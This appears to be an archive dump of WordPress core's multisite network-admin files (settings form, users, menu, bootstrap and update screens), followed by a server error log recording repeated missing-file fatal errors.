					<p class="description" id="illegal-names-desc">
						<?php _e( 'Users are not allowed to register these sites. Separate names by spaces.' ); ?>
					</p>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="limited_email_domains"><?php _e( 'Limited Email Registrations' ); ?></label></th>
				<td>
					<?php
					$limited_email_domains = get_site_option( 'limited_email_domains' );

					if ( empty( $limited_email_domains ) ) {
						$limited_email_domains = '';
					} else {
						// Convert from an input field. Back-compat for WPMU < 1.0.
						$limited_email_domains = str_replace( ' ', "\n", $limited_email_domains );

						if ( is_array( $limited_email_domains ) ) {
							$limited_email_domains = implode( "\n", $limited_email_domains );
						}
					}
					?>
					<textarea name="limited_email_domains" id="limited_email_domains" aria-describedby="limited-email-domains-desc" cols="45" rows="5">
<?php echo esc_textarea( $limited_email_domains ); ?></textarea>
					<p class="description" id="limited-email-domains-desc">
						<?php _e( 'If you want to limit site registrations to certain domains. One domain per line.' ); ?>
					</p>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="banned_email_domains"><?php _e( 'Banned Email Domains' ); ?></label></th>
				<td>
					<?php
					$banned_email_domains = get_site_option( 'banned_email_domains' );

					if ( empty( $banned_email_domains ) ) {
						$banned_email_domains = '';
					} elseif ( is_array( $banned_email_domains ) ) {
						$banned_email_domains = implode( "\n", $banned_email_domains );
					}
					?>
					<textarea name="banned_email_domains" id="banned_email_domains" aria-describedby="banned-email-domains-desc" cols="45" rows="5">
<?php echo esc_textarea( $banned_email_domains ); ?></textarea>
					<p class="description" id="banned-email-domains-desc">
						<?php _e( 'If you want to ban domains from site registrations. One domain per line.' ); ?>
					</p>
				</td>
			</tr>

		</table>
		<h2><?php _e( 'New Site Settings' ); ?></h2>
		<table class="form-table" role="presentation">

			<tr>
				<th scope="row"><label for="welcome_email"><?php _e( 'Welcome Email' ); ?></label></th>
				<td>
					<textarea name="welcome_email" id="welcome_email" aria-describedby="welcome-email-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'welcome_email' ) ); ?></textarea>
					<p class="description" id="welcome-email-desc">
						<?php _e( 'The welcome email sent to new site owners.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="welcome_user_email"><?php _e( 'Welcome User Email' ); ?></label></th>
				<td>
					<textarea name="welcome_user_email" id="welcome_user_email" aria-describedby="welcome-user-email-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'welcome_user_email' ) ); ?></textarea>
					<p class="description" id="welcome-user-email-desc">
						<?php _e( 'The welcome email sent to new users.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_post"><?php _e( 'First Post' ); ?></label></th>
				<td>
					<textarea name="first_post" id="first_post" aria-describedby="first-post-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'first_post' ) ); ?></textarea>
					<p class="description" id="first-post-desc">
						<?php _e( 'The first post on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_page"><?php _e( 'First Page' ); ?></label></th>
				<td>
					<textarea name="first_page" id="first_page" aria-describedby="first-page-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'first_page' ) ); ?></textarea>
					<p class="description" id="first-page-desc">
						<?php _e( 'The first page on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_comment"><?php _e( 'First Comment' ); ?></label></th>
				<td>
					<textarea name="first_comment" id="first_comment" aria-describedby="first-comment-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'first_comment' ) ); ?></textarea>
					<p class="description" id="first-comment-desc">
						<?php _e( 'The first comment on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_comment_author"><?php _e( 'First Comment Author' ); ?></label></th>
				<td>
					<input type="text" size="40" name="first_comment_author" id="first_comment_author" aria-describedby="first-comment-author-desc" value="<?php echo esc_attr( get_site_option( 'first_comment_author' ) ); ?>" />
					<p class="description" id="first-comment-author-desc">
						<?php _e( 'The author of the first comment on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_comment_email"><?php _e( 'First Comment Email' ); ?></label></th>
				<td>
					<input type="text" size="40" name="first_comment_email" id="first_comment_email" aria-describedby="first-comment-email-desc" value="<?php echo esc_attr( get_site_option( 'first_comment_email' ) ); ?>" />
					<p class="description" id="first-comment-email-desc">
						<?php _e( 'The email address of the first comment author on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_comment_url"><?php _e( 'First Comment URL' ); ?></label></th>
				<td>
					<input type="text" size="40" name="first_comment_url" id="first_comment_url" aria-describedby="first-comment-url-desc" value="<?php echo esc_attr( get_site_option( 'first_comment_url' ) ); ?>" />
					<p class="description" id="first-comment-url-desc">
						<?php _e( 'The URL for the first comment on a new site.' ); ?>
					</p>
				</td>
			</tr>
		</table>
		<h2><?php _e( 'Upload Settings' ); ?></h2>
		<table class="form-table" role="presentation">
			<tr>
				<th scope="row"><?php _e( 'Site upload space' ); ?></th>
				<td>
					<label><input type="checkbox" id="upload_space_check_disabled" name="upload_space_check_disabled" value="0"<?php checked( (bool) get_site_option( 'upload_space_check_disabled' ), false ); ?> />
						<?php
						printf(
							/* translators: %s: Number of megabytes to limit uploads to. */
							__( 'Limit total size of files uploaded to %s MB' ),
							'</label><label><input name="blog_upload_space" type="number" min="0" style="width: 100px" id="blog_upload_space" aria-describedby="blog-upload-space-desc" value="' . esc_attr( get_site_option( 'blog_upload_space', 100 ) ) . '" />'
						);
						?>
					</label><br />
					<p class="screen-reader-text" id="blog-upload-space-desc">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'Size in megabytes' );
						?>
					</p>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="upload_filetypes"><?php _e( 'Upload file types' ); ?></label></th>
				<td>
					<input name="upload_filetypes" type="text" id="upload_filetypes" aria-describedby="upload-filetypes-desc" class="large-text" value="<?php echo esc_attr( get_site_option( 'upload_filetypes', 'jpg jpeg png gif' ) ); ?>" size="45" />
					<p class="description" id="upload-filetypes-desc">
						<?php _e( 'Allowed file types. Separate types by spaces.' ); ?>
					</p>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="fileupload_maxk"><?php _e( 'Max upload file size' ); ?></label></th>
				<td>
					<?php
						printf(
							/* translators: %s: File size in kilobytes. */
							__( '%s KB' ),
							'<input name="fileupload_maxk" type="number" min="0" style="width: 100px" id="fileupload_maxk" aria-describedby="fileupload-maxk-desc" value="' . esc_attr( get_site_option( 'fileupload_maxk', 300 ) ) . '" />'
						);
						?>
					<p class="screen-reader-text" id="fileupload-maxk-desc">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'Size in kilobytes' );
						?>
					</p>
				</td>
			</tr>
		</table>

		<?php
		$languages    = get_available_languages();
		$translations = wp_get_available_translations();
		if ( ! empty( $languages ) || ! empty( $translations ) ) {
			?>
			<h2><?php _e( 'Language Settings' ); ?></h2>
			<table class="form-table" role="presentation">
				<tr>
					<th><label for="WPLANG"><?php _e( 'Default Language' ); ?><span class="dashicons dashicons-translation" aria-hidden="true"></span></label></th>
					<td>
						<?php
						$lang = get_site_option( 'WPLANG' );
						if ( ! in_array( $lang, $languages, true ) ) {
							$lang = '';
						}

						wp_dropdown_languages(
							array(
								'name'         => 'WPLANG',
								'id'           => 'WPLANG',
								'selected'     => $lang,
								'languages'    => $languages,
								'translations' => $translations,
								'show_available_translations' => current_user_can( 'install_languages' ) && wp_can_install_language_pack(),
							)
						);
						?>
					</td>
				</tr>
			</table>
			<?php
		}
		?>

		<?php
		$menu_perms = get_site_option( 'menu_items' );
		/**
		 * Filters available network-wide administration menu options.
		 *
		 * Options returned to this filter are output as individual checkboxes that, when selected,
		 * enable site administrator access to the specified administration menu in certain contexts.
		 *
		 * Adding options for specific menus here hinges on the appropriate checks and capabilities
		 * being in place in the site dashboard on the other side. For instance, when the single
		 * default option, 'plugins' is enabled, site administrators are granted access to the Plugins
		 * screen in their individual sites' dashboards.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param string[] $admin_menus Associative array of the menu items available.
		 */
		$menu_items = apply_filters( 'mu_menu_items', array( 'plugins' => __( 'Plugins' ) ) );

		if ( $menu_items ) :
			?>
			<h2><?php _e( 'Menu Settings' ); ?></h2>
			<table id="menu" class="form-table">
				<tr>
					<th scope="row"><?php _e( 'Enable administration menus' ); ?></th>
					<td>
						<?php
						echo '<fieldset><legend class="screen-reader-text">' .
							/* translators: Hidden accessibility text. */
							__( 'Enable menus' ) .
						'</legend>';

						foreach ( (array) $menu_items as $key => $val ) {
							echo "<label><input type='checkbox' name='menu_items[" . $key . "]' value='1'" . ( isset( $menu_perms[ $key ] ) ? checked( $menu_perms[ $key ], '1', false ) : '' ) . ' /> ' . esc_html( $val ) . '</label><br/>';
						}

						echo '</fieldset>';
						?>
					</td>
				</tr>
			</table>
			<?php
		endif;
		?>

		<?php
		/**
		 * Fires at the end of the Network Settings form, before the submit button.
		 *
		 * @since MU (3.0.0)
		 */
		do_action( 'wpmu_options' );
		?>
		<?php submit_button(); ?>
	</form>
</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
about.php000064400000000365151007247650006402 0ustar00<?php
/**
 * Network About administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.4.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/about.php';
users.php000064400000022426151007247650006433 0ustar00<?php
/**
 * Multisite users administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_network_users' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

if ( isset( $_GET['action'] ) ) {
	/** This action is documented in wp-admin/network/edit.php */
	do_action( 'wpmuadminedit' );

	switch ( $_GET['action'] ) {
		case 'deleteuser':
			if ( ! current_user_can( 'manage_network_users' ) ) {
				wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
			}

			check_admin_referer( 'deleteuser' );

			$id = (int) $_GET['id'];
			if ( $id > 1 ) {
				$_POST['allusers'] = array( $id ); // confirm_delete_users() can only handle arrays.

				// Used in the HTML title tag.
				$title       = __( 'Users' );
				$parent_file = 'users.php';

				require_once ABSPATH . 'wp-admin/admin-header.php';

				echo '<div class="wrap">';
				confirm_delete_users( $_POST['allusers'] );
				echo '</div>';

				require_once ABSPATH . 'wp-admin/admin-footer.php';
			} else {
				wp_redirect( network_admin_url( 'users.php' ) );
			}
			exit;

		case 'allusers':
			if ( ! current_user_can( 'manage_network_users' ) ) {
				wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
			}

			if ( isset( $_POST['action'] ) && isset( $_POST['allusers'] ) ) {
				check_admin_referer( 'bulk-users-network' );

				$doaction     = $_POST['action'];
				$userfunction = '';

				foreach ( (array) $_POST['allusers'] as $user_id ) {
					if ( ! empty( $user_id ) ) {
						switch ( $doaction ) {
							case 'delete':
								if ( ! current_user_can( 'delete_users' ) ) {
									wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
								}

								// Used in the HTML title tag.
								$title       = __( 'Users' );
								$parent_file = 'users.php';

								require_once ABSPATH . 'wp-admin/admin-header.php';

								echo '<div class="wrap">';
								confirm_delete_users( $_POST['allusers'] );
								echo '</div>';

								require_once ABSPATH . 'wp-admin/admin-footer.php';
								exit;

							case 'spam':
								$user = get_userdata( $user_id );
								if ( is_super_admin( $user->ID ) ) {
									wp_die(
										sprintf(
											/* translators: %s: User login. */
											__( 'Warning! User cannot be modified. The user %s is a network administrator.' ),
											esc_html( $user->user_login )
										)
									);
								}

								$userfunction = 'all_spam';
								$blogs        = get_blogs_of_user( $user_id, true );

								foreach ( (array) $blogs as $details ) {
									if ( ! is_main_site( $details->userblog_id ) ) { // Main site is not a spam!
										update_blog_status( $details->userblog_id, 'spam', '1' );
									}
								}

								$user_data         = $user->to_array();
								$user_data['spam'] = '1';

								wp_update_user( $user_data );
								break;

							case 'notspam':
								$user = get_userdata( $user_id );

								$userfunction = 'all_notspam';
								$blogs        = get_blogs_of_user( $user_id, true );

								foreach ( (array) $blogs as $details ) {
									update_blog_status( $details->userblog_id, 'spam', '0' );
								}

								$user_data         = $user->to_array();
								$user_data['spam'] = '0';

								wp_update_user( $user_data );
								break;
						}
					}
				}

				if ( ! in_array( $doaction, array( 'delete', 'spam', 'notspam' ), true ) ) {
					$sendback = wp_get_referer();
					$user_ids = (array) $_POST['allusers'];

					/** This action is documented in wp-admin/network/site-themes.php */
					$sendback = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $sendback, $doaction, $user_ids ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

					wp_safe_redirect( $sendback );
					exit;
				}

				wp_safe_redirect(
					add_query_arg(
						array(
							'updated' => 'true',
							'action'  => $userfunction,
						),
						wp_get_referer()
					)
				);
			} else {
				$location = network_admin_url( 'users.php' );

				if ( ! empty( $_REQUEST['paged'] ) ) {
					$location = add_query_arg( 'paged', (int) $_REQUEST['paged'], $location );
				}
				wp_redirect( $location );
			}
			exit;

		case 'dodelete':
			check_admin_referer( 'ms-users-delete' );
			if ( ! ( current_user_can( 'manage_network_users' ) && current_user_can( 'delete_users' ) ) ) {
				wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
			}

			if ( ! empty( $_POST['blog'] ) && is_array( $_POST['blog'] ) ) {
				foreach ( $_POST['blog'] as $id => $users ) {
					foreach ( $users as $blogid => $user_id ) {
						if ( ! current_user_can( 'delete_user', $id ) ) {
							continue;
						}

						if ( ! empty( $_POST['delete'] ) && 'reassign' === $_POST['delete'][ $blogid ][ $id ] ) {
							remove_user_from_blog( $id, $blogid, (int) $user_id );
						} else {
							remove_user_from_blog( $id, $blogid );
						}
					}
				}
			}

			$i = 0;

			if ( is_array( $_POST['user'] ) && ! empty( $_POST['user'] ) ) {
				foreach ( $_POST['user'] as $id ) {
					if ( ! current_user_can( 'delete_user', $id ) ) {
						continue;
					}
					wpmu_delete_user( $id );
					++$i;
				}
			}

			if ( 1 === $i ) {
				$deletefunction = 'delete';
			} else {
				$deletefunction = 'all_delete';
			}

			wp_redirect(
				add_query_arg(
					array(
						'updated' => 'true',
						'action'  => $deletefunction,
					),
					network_admin_url( 'users.php' )
				)
			);
			exit;
	}
}

$wp_list_table = _get_list_table( 'WP_MS_Users_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();
$wp_list_table->prepare_items();
$total_pages = $wp_list_table->get_pagination_arg( 'total_pages' );

if ( $pagenum > $total_pages && $total_pages > 0 ) {
	wp_redirect( add_query_arg( 'paged', $total_pages ) );
	exit;
}

// Used in the HTML title tag.
$title       = __( 'Users' );
$parent_file = 'users.php';

add_screen_option( 'per_page' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This table shows all users across the network and the sites to which they are assigned.' ) . '</p>' .
			'<p>' . __( 'Hover over any user on the list to make the edit links appear. The Edit link on the left will take you to their Edit User profile page; the Edit link on the right by any site name goes to an Edit Site screen for that site.' ) . '</p>' .
			'<p>' . __( 'You can also go to the user&#8217;s profile page by clicking on the individual username.' ) . '</p>' .
			'<p>' . __( 'You can sort the table by clicking on any of the table headings and switch between list and excerpt views by using the icons above the users list.' ) . '</p>' .
			'<p>' . __( 'The bulk action will permanently delete selected users, or mark/unmark those selected as spam. Spam users will have posts removed and will be unable to sign up again with the same email addresses.' ) . '</p>' .
			'<p>' . __( 'You can make an existing user an additional super admin by going to the Edit User profile page and checking the box to grant that privilege.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Network_Admin_Users_Screen">Documentation on Network Users</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter users list' ),
		'heading_pagination' => __( 'Users list navigation' ),
		'heading_list'       => __( 'Users list' ),
	)
);

require_once ABSPATH . 'wp-admin/admin-header.php';

if ( isset( $_REQUEST['updated'] ) && 'true' === $_REQUEST['updated'] && ! empty( $_REQUEST['action'] ) ) {
	$message = '';
	switch ( $_REQUEST['action'] ) {
		case 'delete':
			$message = __( 'User deleted.' );
			break;
		case 'all_spam':
			$message = __( 'Users marked as spam.' );
			break;
		case 'all_notspam':
			$message = __( 'Users removed from spam.' );
			break;
		case 'all_delete':
			$message = __( 'Users deleted.' );
			break;
		case 'add':
			$message = __( 'User added.' );
			break;
	}

	wp_admin_notice(
		$message,
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}
?>
<div class="wrap">
	<h1 class="wp-heading-inline"><?php esc_html_e( 'Users' ); ?></h1>

	<?php
	if ( current_user_can( 'create_users' ) ) :
		?>
		<a href="<?php echo esc_url( network_admin_url( 'user-new.php' ) ); ?>" class="page-title-action"><?php echo esc_html__( 'Add User' ); ?></a>
		<?php
	endif;

	if ( strlen( $usersearch ) ) {
		echo '<span class="subtitle">';
		printf(
			/* translators: %s: Search query. */
			__( 'Search results for: %s' ),
			'<strong>' . esc_html( $usersearch ) . '</strong>'
		);
		echo '</span>';
	}
	?>

	<hr class="wp-header-end">

	<?php $wp_list_table->views(); ?>

	<form method="get" class="search-form">
		<?php $wp_list_table->search_box( __( 'Search Users' ), 'all-user' ); ?>
	</form>

	<form id="form-user-list" action="users.php?action=allusers" method="post">
		<?php $wp_list_table->display(); ?>
	</form>
</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
theme-install.php000064400000000566151007247650010041 0ustar00<?php
/**
 * Install theme network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

if ( isset( $_GET['tab'] ) && ( 'theme-information' === $_GET['tab'] ) ) {
	define( 'IFRAME_REQUEST', true );
}

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/theme-install.php';
theme-editor.php000064400000000410151007247650007645 0ustar00<?php
/**
 * Theme file editor network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/theme-editor.php';
menu.php000064400000011276151007247650006237 0ustar00<?php
/**
 * Build Network Administration Menu.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/* translators: Network menu item. */
$menu[2] = array( __( 'Dashboard' ), 'manage_network', 'index.php', '', 'menu-top menu-top-first menu-icon-dashboard', 'menu-dashboard', 'dashicons-dashboard' );

$submenu['index.php'][0] = array( __( 'Home' ), 'read', 'index.php' );

if ( current_user_can( 'update_core' ) ) {
	$cap = 'update_core';
} elseif ( current_user_can( 'update_plugins' ) ) {
	$cap = 'update_plugins';
} elseif ( current_user_can( 'update_themes' ) ) {
	$cap = 'update_themes';
} else {
	$cap = 'update_languages';
}

$update_data = wp_get_update_data();
if ( $update_data['counts']['total'] ) {
	$submenu['index.php'][10] = array(
		sprintf(
			/* translators: %s: Number of available updates. */
			__( 'Updates %s' ),
			sprintf(
				'<span class="update-plugins count-%s"><span class="update-count">%s</span></span>',
				$update_data['counts']['total'],
				number_format_i18n( $update_data['counts']['total'] )
			)
		),
		$cap,
		'update-core.php',
	);
} else {
	$submenu['index.php'][10] = array( __( 'Updates' ), $cap, 'update-core.php' );
}

unset( $cap );

$submenu['index.php'][15] = array( __( 'Upgrade Network' ), 'upgrade_network', 'upgrade.php' );

$menu[4] = array( '', 'read', 'separator1', '', 'wp-menu-separator' );

/* translators: Sites menu item. */
$menu[5]                  = array( __( 'Sites' ), 'manage_sites', 'sites.php', '', 'menu-top menu-icon-site', 'menu-site', 'dashicons-admin-multisite' );
$submenu['sites.php'][5]  = array( __( 'All Sites' ), 'manage_sites', 'sites.php' );
$submenu['sites.php'][10] = array( __( 'Add Site' ), 'create_sites', 'site-new.php' );

$menu[10]                 = array( __( 'Users' ), 'manage_network_users', 'users.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' );
$submenu['users.php'][5]  = array( __( 'All Users' ), 'manage_network_users', 'users.php' );
$submenu['users.php'][10] = array( __( 'Add User' ), 'create_users', 'user-new.php' );

if ( current_user_can( 'update_themes' ) && $update_data['counts']['themes'] ) {
	$menu[15] = array(
		sprintf(
			/* translators: %s: Number of available theme updates. */
			__( 'Themes %s' ),
			sprintf(
				'<span class="update-plugins count-%s"><span class="theme-count">%s</span></span>',
				$update_data['counts']['themes'],
				number_format_i18n( $update_data['counts']['themes'] )
			)
		),
		'manage_network_themes',
		'themes.php',
		'',
		'menu-top menu-icon-appearance',
		'menu-appearance',
		'dashicons-admin-appearance',
	);
} else {
	$menu[15] = array( __( 'Themes' ), 'manage_network_themes', 'themes.php', '', 'menu-top menu-icon-appearance', 'menu-appearance', 'dashicons-admin-appearance' );
}
$submenu['themes.php'][5]  = array( __( 'Installed Themes' ), 'manage_network_themes', 'themes.php' );
$submenu['themes.php'][10] = array( __( 'Add Theme' ), 'install_themes', 'theme-install.php' );
$submenu['themes.php'][15] = array( __( 'Theme File Editor' ), 'edit_themes', 'theme-editor.php' );

if ( current_user_can( 'update_plugins' ) && $update_data['counts']['plugins'] ) {
	$menu[20] = array(
		sprintf(
			/* translators: %s: Number of available plugin updates. */
			__( 'Plugins %s' ),
			sprintf(
				'<span class="update-plugins count-%s"><span class="plugin-count">%s</span></span>',
				$update_data['counts']['plugins'],
				number_format_i18n( $update_data['counts']['plugins'] )
			)
		),
		'manage_network_plugins',
		'plugins.php',
		'',
		'menu-top menu-icon-plugins',
		'menu-plugins',
		'dashicons-admin-plugins',
	);
} else {
	$menu[20] = array( __( 'Plugins' ), 'manage_network_plugins', 'plugins.php', '', 'menu-top menu-icon-plugins', 'menu-plugins', 'dashicons-admin-plugins' );
}
$submenu['plugins.php'][5]  = array( __( 'Installed Plugins' ), 'manage_network_plugins', 'plugins.php' );
$submenu['plugins.php'][10] = array( __( 'Add Plugin' ), 'install_plugins', 'plugin-install.php' );
$submenu['plugins.php'][15] = array( __( 'Plugin File Editor' ), 'edit_plugins', 'plugin-editor.php' );

$menu[25] = array( __( 'Settings' ), 'manage_network_options', 'settings.php', '', 'menu-top menu-icon-settings', 'menu-settings', 'dashicons-admin-settings' );
if ( defined( 'MULTISITE' ) && defined( 'WP_ALLOW_MULTISITE' ) && WP_ALLOW_MULTISITE ) {
	$submenu['settings.php'][5]  = array( __( 'Network Settings' ), 'manage_network_options', 'settings.php' );
	$submenu['settings.php'][10] = array( __( 'Network Setup' ), 'setup_network', 'setup.php' );
}
unset( $update_data );

$menu[99] = array( '', 'exist', 'separator-last', '', 'wp-menu-separator' );

require_once ABSPATH . 'wp-admin/includes/menu.php';
user-edit.php000064400000000375151007247650007172 0ustar00<?php
/**
 * Edit user network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/user-edit.php';
admin.php000064400000002000151007247650006344 0ustar00<?php
/**
 * WordPress Network Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

define( 'WP_NETWORK_ADMIN', true );

/** Load WordPress Administration Bootstrap */
require_once dirname( __DIR__ ) . '/admin.php';

// Do not remove this check. It is required by individual network admin pages.
if ( ! is_multisite() ) {
	wp_die( __( 'Multisite support is not enabled.' ) );
}

$redirect_network_admin_request = ( 0 !== strcasecmp( $current_blog->domain, $current_site->domain ) || 0 !== strcasecmp( $current_blog->path, $current_site->path ) );

/**
 * Filters whether to redirect the request to the Network Admin.
 *
 * @since 3.2.0
 *
 * @param bool $redirect_network_admin_request Whether the request should be redirected.
 */
$redirect_network_admin_request = apply_filters( 'redirect_network_admin_request', $redirect_network_admin_request );

if ( $redirect_network_admin_request ) {
	wp_redirect( network_admin_url() );
	exit;
}

unset( $redirect_network_admin_request );
update.php000064400000000702151007247650006545 0ustar00<?php
/**
 * Update/Install Plugin/Theme network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

if ( isset( $_GET['action'] ) && in_array( $_GET['action'], array( 'update-selected', 'activate-plugin', 'update-selected-themes' ), true ) ) {
	define( 'IFRAME_REQUEST', true );
}

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/update.php';
update-core.php000064400000000375151007247650007501 0ustar00<?php
/**
 * Updates network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/update-core.php';
plugin-install.php000064400000000571151007247650010231 0ustar00<?php
/**
 * Install plugin network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

if ( isset( $_GET['tab'] ) && ( 'plugin-information' === $_GET['tab'] ) ) {
	define( 'IFRAME_REQUEST', true );
}

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/plugin-install.php';
error_log000064400000012532151011204030006447 0ustar00[22-Oct-2025 23:22:17 UTC] PHP Warning:  require_once(/home/fresvfqn/emergencywaterdamagemanhattan.com/wp-load.php): Failed to open stream: No such file or directory in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/admin.php on line 35
[22-Oct-2025 23:22:17 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/fresvfqn/emergencywaterdamagemanhattan.com/wp-load.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/admin.php:35
Stack trace:
#0 /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/network/admin.php(13): require_once()
#1 /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/network/index.php(11): require_once('/home/fresvfqn/...')
#2 {main}
  thrown in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/admin.php on line 35
[24-Oct-2025 02:01:51 UTC] PHP Warning:  require_once(/home/fresvfqn/emergencywaterdamagemanhattan.com/wp-load.php): Failed to open stream: No such file or directory in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/admin.php on line 35
[24-Oct-2025 02:01:51 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/fresvfqn/emergencywaterdamagemanhattan.com/wp-load.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/admin.php:35
Stack trace:
#0 /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/network/admin.php(13): require_once()
#1 /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/network/index.php(11): require_once('/home/fresvfqn/...')
#2 {main}
  thrown in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/admin.php on line 35
[26-Oct-2025 01:38:30 UTC] PHP Warning:  require_once(/home/fresvfqn/emergencywaterdamagemanhattan.com/wp-load.php): Failed to open stream: No such file or directory in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/admin.php on line 35
[26-Oct-2025 01:38:30 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/fresvfqn/emergencywaterdamagemanhattan.com/wp-load.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/admin.php:35
Stack trace:
#0 /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/network/admin.php(13): require_once()
#1 /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/network/index.php(11): require_once('/home/fresvfqn/...')
#2 {main}
  thrown in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/admin.php on line 35
[26-Oct-2025 11:33:06 UTC] PHP Warning:  require_once(/home/fresvfqn/emergencywaterdamagemanhattan.com/wp-load.php): Failed to open stream: No such file or directory in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/admin.php on line 35
[26-Oct-2025 11:33:06 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/fresvfqn/emergencywaterdamagemanhattan.com/wp-load.php' (include_path='.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/admin.php:35
Stack trace:
#0 /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/network/admin.php(13): require_once()
#1 /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/network/index.php(11): require_once('/home/fresvfqn/...')
#2 {main}
  thrown in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/admin.php on line 35
[26-Oct-2025 12:44:54 UTC] PHP Warning:  require_once(/home/fresvfqn/emergencywaterdamagemanhattan.com/wp-load.php): Failed to open stream: No such file or directory in /home/fresvfqn/emergencywaterdamagemanhattan.com/wp-admin/admin.php on line 35
